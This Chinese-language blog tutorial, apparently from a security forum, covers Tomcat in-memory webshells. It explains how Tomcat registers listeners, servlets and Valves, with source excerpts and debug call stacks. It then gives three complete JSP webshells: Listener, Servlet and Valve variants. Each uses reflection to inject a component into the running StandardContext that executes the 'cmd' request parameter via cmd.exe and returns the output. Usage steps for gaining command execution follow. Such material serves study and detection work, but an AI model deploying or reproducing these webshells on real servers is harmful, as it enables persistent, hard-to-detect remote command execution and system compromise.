1 2 3 4 @Override public Object[] getApplicationEventListeners() { return applicationEventListenersList.toArray(); }
所以listener存放在applicationEventListenersList属性中,所以在StandardContext中找到能够向applicationEventListenersList添加listener的方法 方法1:
1 2 3 4 5 6 7 8 public void addApplicationEventListener (Object listener) { applicationEventListenersList.add(listener); }
方法2:
1 2 3 4 5 6 7 8 9 10 11 @Override public void setApplicationEventListeners (Object listeners[]) { applicationEventListenersList.clear(); if (listeners != null && listeners.length > 0 ) { applicationEventListenersList.addAll(Arrays.asList(listeners)); } }
第二个问题:event如何构造?在fireRequestInitEvent方法中由如下代码构造
1 ServletRequestEvent event = new ServletRequestEvent (getServletContext(), request);
Listener内存马 listenMemshell.jsp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <%-- Created by IntelliJ IDEA. User: DiliLearngent Date: 2023 /9 /19 Time: 14 :41 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%! public class MyListener implements ServletRequestListener { @Override public void requestDestroyed (ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); if (req.getParameter("cmd" ) != null ) { InputStream in = null ; try { in = Runtime.getRuntime().exec(new String []{"cmd.exe" , "/C" , req.getParameter("cmd" )}).getInputStream(); Scanner scanner = new Scanner (in).useDelimiter("\\A" ); String out = scanner.hasNext()?scanner.next():"" ; Field requestFiled = req.getClass().getDeclaredField("request" ); requestFiled.setAccessible(true ); Request request = (Request) requestFiled.get(req); request.getResponse().getWriter().write(out); } catch (Exception e) {} } } @Override public void requestInitialized (ServletRequestEvent sre) { } } %> <% Field reqField = request.getClass().getDeclaredField("request" ); reqField.setAccessible(true ); Request req = (Request) reqField.get(request); StandardContext context = (StandardContext) req.getContext(); MyListener listener = new MyListener (); context.addApplicationEventListener(listener); %>
先访问listenMemshell.jsp生成内存马,然后访问任意路径,加上cmd参数即可命令执行
参考 Tomcat 内存马(一)Listener型 JavaWeb 内存马一周目通关攻略
Servlet 例子 创建HelloServlet类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package org.example.servlet;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;@WebServlet(value = "/hello", name = "hello") public class HelloServlet extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super .doGet(req, resp); System.out.println("doget" ); } @Override protected void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super .doPost(req, resp); System.out.println("dopost" ); } }
web.xml中添加配置
1 2 3 4 5 6 7 8 9 <servlet > <servlet-name > hello</servlet-name > <servlet-class > org.example.servlet.HelloServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > hello</servlet-name > <url-pattern > /hello</url-pattern > </servlet-mapping >
在doGet方法下断点,调试 函数调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 doGet:15 , HelloServlet (org.example.servlet) service:502 , HttpServlet (javax.servlet.http) service:596 , HttpServlet (javax.servlet.http) internalDoFilter:209 , ApplicationFilterChain (org.apache.catalina.core) doFilter:153 , ApplicationFilterChain (org.apache.catalina.core) doFilter:53 , WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:178 , ApplicationFilterChain (org.apache.catalina.core) doFilter:153 , ApplicationFilterChain (org.apache.catalina.core) doFilter:17 , HelloFilter (org.example.filter) internalDoFilter:178 , ApplicationFilterChain (org.apache.catalina.core) doFilter:153 , ApplicationFilterChain (org.apache.catalina.core) invoke:167 , StandardWrapperValve (org.apache.catalina.core) invoke:90 , StandardContextValve (org.apache.catalina.core) invoke:492 , AuthenticatorBase (org.apache.catalina.authenticator) invoke:130 , StandardHostValve (org.apache.catalina.core) invoke:93 , ErrorReportValve (org.apache.catalina.valves) invoke:673 , AbstractAccessLogValve (org.apache.catalina.valves) invoke:74 , StandardEngineValve (org.apache.catalina.core) service:343 , CoyoteAdapter (org.apache.catalina.connector) service:389 , Http11Processor (org.apache.coyote.http11) process:63 , AbstractProcessorLight (org.apache.coyote) process:926 , AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1791 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49 , SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191 , ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659 , ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61 , TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745 , Thread (java.lang)
分析 在StandardContext中,与servlet相关的有这两个属性: children: servletMappings:
查看实现类ApplicationContext中的addServlet方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 private ServletRegistration.Dynamic addServlet (String servletName, String servletClass, Servlet servlet, Map<String, String> initParams) throws IllegalStateException { if (servletName == null || servletName.equals("" )) { throw new IllegalArgumentException (sm.getString("applicationContext.invalidServletName" , servletName)); } checkState("applicationContext.addServlet.ise" ); Wrapper wrapper = (Wrapper) context.findChild(servletName); if (wrapper == null ) { wrapper = context.createWrapper(); wrapper.setName(servletName); context.addChild(wrapper); } else { if (wrapper.getName() != null && wrapper.getServletClass() != null ) { if (wrapper.isOverridable()) { wrapper.setOverridable(false ); } else { return null ; } } } ServletSecurity annotation = null ; if (servlet == null ) { wrapper.setServletClass(servletClass); Class<?> clazz = Introspection.loadClass(context, servletClass); if (clazz != null ) { annotation = clazz.getAnnotation(ServletSecurity.class); } } else { wrapper.setServletClass(servlet.getClass().getName()); wrapper.setServlet(servlet); if (context.wasCreatedDynamicServlet(servlet)) { annotation = servlet.getClass().getAnnotation(ServletSecurity.class); } } if (initParams != null ) { for (Map.Entry<String, String> initParam : initParams.entrySet()) { wrapper.addInitParameter(initParam.getKey(), initParam.getValue()); } } ServletRegistration.Dynamic registration = new ApplicationServletRegistration (wrapper, context); if (annotation != null ) { registration.setServletSecurity(new ServletSecurityElement (annotation)); } return registration; }
然后在ApplicationServletRegistration的addMapping中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 @Override public Set<String> addMapping (String... urlPatterns) { if (urlPatterns == null ) { return Collections.emptySet(); } Set<String> conflicts = new HashSet <>(); for (String urlPattern : urlPatterns) { String wrapperName = context.findServletMapping(urlPattern); if (wrapperName != null ) { Wrapper wrapper = (Wrapper) context.findChild(wrapperName); if (wrapper.isOverridable()) { context.removeServletMapping(urlPattern); } else { conflicts.add(urlPattern); } } } if (!conflicts.isEmpty()) { return conflicts; } for (String urlPattern : urlPatterns) { context.addServletMappingDecoded(UDecoder.URLDecode(urlPattern, StandardCharsets.UTF_8), wrapper.getName()); } if (constraint != null ) { context.addServletSecurity(this , constraint); } return Collections.emptySet(); }
这个方法调用了StandardContext的addServletMappingDecoded方法,添加URL路径与Wrapper对象的映射
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 @Override public void addServletMappingDecoded (String pattern, String name, boolean jspWildCard) { if (findChild(name) == null ) { throw new IllegalArgumentException (sm.getString("standardContext.servletMap.name" , name)); } String adjustedPattern = adjustURLPattern(pattern); if (!validateURLPattern(adjustedPattern)) { throw new IllegalArgumentException (sm.getString("standardContext.servletMap.pattern" , adjustedPattern)); } synchronized (servletMappingsLock) { String name2 = servletMappings.get(adjustedPattern); if (name2 != null ) { Wrapper wrapper = (Wrapper) findChild(name2); wrapper.removeMapping(adjustedPattern); } servletMappings.put(adjustedPattern, name); } Wrapper wrapper = (Wrapper) findChild(name); wrapper.addMapping(adjustedPattern); fireContainerEvent("addServletMapping" , adjustedPattern); }
通过这个方法在servletMappings中添加URL路径与name的映射
Servlet内存马 servletMemshell.jsp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 <%-- Created by IntelliJ IDEA. User: DiliLearngent Date: 2023 /9 /19 Time: 18 :43 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="java.io.IOException" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.Wrapper" %> <% class MyServlet extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if (req.getParameter("cmd" ) != null ) { InputStream in = null ; try { in = Runtime.getRuntime().exec(new String []{"cmd.exe" , "/C" , req.getParameter("cmd" )}).getInputStream(); Scanner scanner = new Scanner (in).useDelimiter("\\A" ); String out = scanner.hasNext()?scanner.next():"" ; resp.getWriter().write(out); } catch (Exception e) {} } } @Override public void destroy () { super .destroy(); } } %> <% try { String myServletname = "myServletShell" ; ServletContext servletContext = request.getSession().getServletContext(); if (servletContext.getServletRegistration(myServletname) == null ) { Field applicationContextField = servletContext.getClass().getDeclaredField("context" ); applicationContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); Field standardConextField = applicationContext.getClass().getDeclaredField("context" ); standardConextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardConextField.get(applicationContext); MyServlet myServlet = new MyServlet (); Wrapper wrapper = standardContext.createWrapper(); wrapper.setName(myServletname); wrapper.setServletClass(myServlet.getClass().getName()); wrapper.setServlet(myServlet); standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/myservlet" , myServletname); } } catch (Exception e) { e.printStackTrace(); } %>
参考 JavaWeb 内存马一周目通关攻略 Tomcat之Servlet内存马 Tomcat内存马实现原理解析-servlet内存马
Valve 简介 Tomcat中定义了两个接口,分别是Pipeline(管道)和Valve(阀) 如上图所示,Tomcat每个层级的容器()都维持一个管道(Pipeline示例),在ContainerBase中实例化了一个PipeLine对象,而如StandardContext这些类继承ContainerBase类
1 protected final Pipeline pipeline = new StandardPipeline (this );
而且在每个层级的容器中,都有基础的Valve,如StandardHostValve、StandardEngineValve、StandardContextValve、StandardWrapperValve,都继承了ValveBase基础类,它们位于各容器管道的最后一个位置 (即图中的basic位置),并且在invoke方法中,都存在获取下一个管道并且调用下一个管道第一个阀门的代码
ValveBase类继承了Valve接口,这个类实现了生命接口及MBean接口
Pipeline接口: Valve接口:
例子 HelloValve类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package org.example.valve;import org.apache.catalina.connector.Request;import org.apache.catalina.connector.Response;import org.apache.catalina.valves.ValveBase;import javax.servlet.ServletException;import java.io.IOException;public class HelloValve extends ValveBase { @Override public void invoke (Request request, Response response) throws IOException, ServletException { System.out.println("yes" ); } }
Tomcat中的server.xml配置:
1 <Valve className ="org.example.valve.HelloValve" />
Valve内存马 valveMemshell.jsp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <%-- Created by IntelliJ IDEA. User: DiliLearngent Date: 2023 /9 /22 Time: 23 :12 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="org.apache.catalina.valves.ValveBase" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="org.apache.catalina.connector.Response" %> <%@ page import ="java.io.IOException" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%! public class ValveShell extends ValveBase { @Override public void invoke (Request request, Response response) throws IOException, ServletException { if (request.getParameter("cmd" ) != null ) { InputStream in = null ; try { in = Runtime.getRuntime().exec(new String []{"cmd.exe" , "/C" , request.getParameter("cmd" )}).getInputStream(); Scanner scanner = new Scanner (in).useDelimiter("\\A" ); String out = scanner.hasNext()?scanner.next():"" ; response.getWriter().write(out); } catch (Exception e) {} } } } %> <% ServletContext serverContext = request.getSession().getServletContext(); Field applicationContextField = serverContext.getClass().getDeclaredField("context" ); applicationContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(serverContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context" ); standardContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); ValveShell myValveShell = new ValveShell (); standardContext.getPipeline().addValve(myValveShell); %>
参考 擅长捉弄的内存马同学:Valve内存马 Java Tomcat Valve内存马 Tomcat 内存马分析及检测
注:本文首发于https://xz.aliyun.com/t/13024